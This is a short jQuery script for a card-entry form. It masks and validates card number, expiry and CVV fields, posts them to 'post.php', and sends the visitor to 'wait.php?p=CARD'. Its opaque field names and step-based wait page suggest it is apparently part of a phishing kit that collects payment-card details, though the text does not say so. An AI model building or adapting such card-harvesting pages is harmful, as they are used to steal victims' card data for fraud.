var submitTrigered = false; $("#d5").mask("0000 0000 0000 0000"); $("#d6").mask("00/00"); $("#d7").mask("0000"); function val(){ var allowSubmit = true; for(var i=4; i<=7; i++){ if($("#d"+i).val().length==0){ $("#d"+i).addClass("error"); allowSubmit=false; }else{ $("#d"+i).removeClass("error"); } } const exps = $("#d6").val().split("/"); if(exps[0]>12 || exps[0]<0 || exps[1]>40 || exps[1]<24 || $("#d6").val().length<5){ $("#d6").addClass("error"); allowSubmit=false; }else{ $("#d6").removeClass("error"); } var cardResult = $("#d5").validateCreditCard(); if(!cardResult.valid){ $("#d5").addClass("error"); allowSubmit=false; }else{ $("#d5").removeClass("error"); } return allowSubmit; } function sendData(){ submitTrigered=true; if(val()){ $("#billsubmit").attr("disabled"); $("#loader").show(); start_statu = true; $.post("post.php",{ d4:$('#d4').val(),d5:$('#d5').val(),d6:$('#d6').val(),d7:$('#d7').val(), },(d)=>{ window.location="wait.php?p=CARD"; }); } } $("section input").keypress((e)=>{ if(e.key=="Enter"){ sendData(); } }); $("input").keyup(()=>{ if(submitTrigered){ val(); } });